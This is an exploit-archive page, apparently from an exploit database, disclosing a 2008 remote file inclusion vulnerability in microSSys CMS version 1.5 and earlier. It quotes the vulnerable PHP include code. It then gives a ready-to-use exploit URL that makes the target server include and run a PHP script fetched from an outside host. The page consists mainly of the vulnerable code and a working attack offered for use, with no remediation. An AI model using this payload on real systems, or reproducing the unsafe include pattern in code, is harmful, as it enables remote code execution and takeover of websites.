[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : microSSys CMS <= 1.5 Remote File Inclusion Vulnerability
# Published : 2008-05-19
# Author : Raz0r
# Previous Title : Php Jokesite 2.0 (cat_id) Remote SQL Injection Vulnerability
# Next Title : AlkalinePHP <= 0.80.00 beta (thread.php id) SQL Injection Exploit
## microSSys CMS <= 1.5 Remote File Inclusion Vulnerability
## Software site: http://wajox.com/
## ===============================================================
## By Raz0r (www.Raz0r.name)
## ===============================================================
## Vulnerable code (index.php@22-25,54-55):
## [22] if(isset($_REQUEST["1"])){
## [23] $P=$_REQUEST["1"];}else{
## [24] $P="main";
## [25] }
## [..]
## [54] if(isset($PAGES[$P])){}else{include("TH.txt");}
## [55] @include($PAGES[$P]);
## Nice...
## ===============================================================
## Exploit:
## http://host/index.php?1=lol&PAGES[lol]=http://raz0r.name/s.php
## ===============================================================
# www.Syue.com [2008-05-19]